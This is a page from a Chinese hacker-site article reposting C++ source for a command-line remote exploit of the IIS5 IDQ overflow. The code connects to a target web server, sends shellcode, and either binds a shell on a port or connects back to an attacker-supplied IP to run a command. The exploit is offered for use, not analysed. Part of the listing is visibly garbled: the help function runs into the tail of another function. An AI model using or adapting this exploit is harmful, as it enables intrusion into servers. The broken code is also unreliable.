| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 编程技术 >> 黑客编程 >> 文章正文 用户登录 新用户注册
  IIS5_IDQ命令行溢出程序源代码         ★★★ 【字体:
IIS5_IDQ命令行溢出程序源代码
作者:未知    文章来源:CnXHacker.Net    点击数:    更新时间:2004-10-20    

SNAKE的IIS5_IDQ命令行溢出程序源代码

 

IIS5_IDQ溢出。。。从Internet上学习到的,也让他回归internet.

 

文件结构:

cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp
头文件: SkShellCodeFunc.h
功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!)
中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.
 

文件1:iisidqoverflow.cpp (主文件)



#include <afxwin.h>
#include "snakesocket.h"
#include "wsastart.h"
#include "SkShellCodeFunc.h"

//function predeclare.
//取得 需要 地址 信息
void GetNecesProcAddr( char *szInfo, int iMaxSize);
//生成我的 shell code代码.
int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);


//宣示帮助.
void ShowHelp()
{
int i;

printf("运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>\r\n");
printf(" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 <输入命令1>\r\n");
printf("\r\n\r\n 其中,如果输入命令参数没有输入,那么,默认为:\"cmd.exe /c + dir\"");
printf("\r\n 如果为1,那么,将输入新的命令.");

printf("\r\n\r\n支持的操作系统 类型: ----\r\n");

for( i=0; i 0){
send( msocket, szBuff, iLen, 0);
}

return (iLen>0)?true:false;
}

int main(int argc, char *argv[])
{
CWSAStart wsaStart;
CSnakeSocket snakeSocket;
WORD wPort;
DWORD dwIP;

if( argc > 1){
if( stricmp( argv[1], "GetAddr") == 0){
char szTemp[12048];
GetNecesProcAddr(szTemp, sizeof(szTemp) );

printf("%s\r\n",szTemp);

OSVERSIONINFO osInfo;

osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx( &osInfo);
printf("Version: %d - %d. Build:%d. ID:%d\r\n[%s]\r\n",
osInfo.dwMajorVersion, osInfo.dwMinorVersion,
osInfo.dwBuildNumber, osInfo.dwPlatformId,
osInfo.szCSDVersion);
return 0;
}
}
if( argc < 5){
ShowHelp();
return 0;
}
wsaStart.StartUP();

SYSTEM_TYPE SystemType = (SYSTEM_TYPE)atoi(argv[1]);
if( SystemType >= MAX_SYSTEM_TYPE_NUM){
printf("操作系统类型 不正确.\r\n");
ShowHelp();
return 0;
}
dwIP = snakeSocket.GetHostAddr( argv[2]);
if( dwIP == 0){
printf("输入地址不对.\r\n");
return 0;
}

Sk_ConnectType connectType;
ConnectStruct connectStruct;
char szCommand[129]="cmd.exe /c dir c:\\";
BOOL bInputCommand=false;

connectType = (Sk_ConnectType)atoi(argv[4]);
connectStruct.byConnectType = connectType;
switch(connectType){
case LISTEN_ON_PORT:
connectStruct.wListenPort = atoi(argv[5]);
if( argc >= 7){
bInputCommand = true;
}
break;
case CONNECT_TO_HOST:
if( argc < 6){
printf("参数不足够.\r\n");
return 0;
}
connectStruct.dwConnectIP = snakeSocket.GetHostAddr(argv[5]);
connectStruct.wConnectPort = atoi(argv[6]);
if( argc >= 8){
bInputCommand = true;
}
break;
default:
printf("溢出类型不正确.\r\n");
return 0;
}

if( bInputCommand){
printf("\r\n请输入绑定的命令:");
scanf( "%s",szCommand);
}

snakeSocket.CreateSocket();
wPort = atoi(argv[3]);

if( !snakeSocket.connect( argv[2], wPort)){
printf("连接目的机器 %s:%d 失败.\r\n", argv[2], wPort);
return 0;
}
else
printf("连接目的机器 %s:%d OK.\r\n", argv[2], wPort);

BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand);

if( bValue){
printf( "发送shellcode 到 %s:%d OK\r\n", argv[2], wPort);
printf(" 现在,如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!", szCommand);
}
else{
printf( "发送失败, 对方系统类型不支持\r\n");
}

snakeSocket.CloseSocket();
wsaStart.CleanUP();

return 0;
}

文章录入:IceRiver    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    微软终于让步 Vista SP1支持
    Windows Vista对付ARP病毒有
    Asterisk 畸形 MIME 数据时有
    Cisco 7940 Phone SIP 消息远
    Sun Solaris ATA 磁盘驱动IO
    真正的IIS永远的后门解密
    Windows平台的Cisco VPN 客户
    让Vista只能识别自己指定的U
    cisco路由器上的几种安全防御
    Cisco IOS中Secure Copy 实现
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.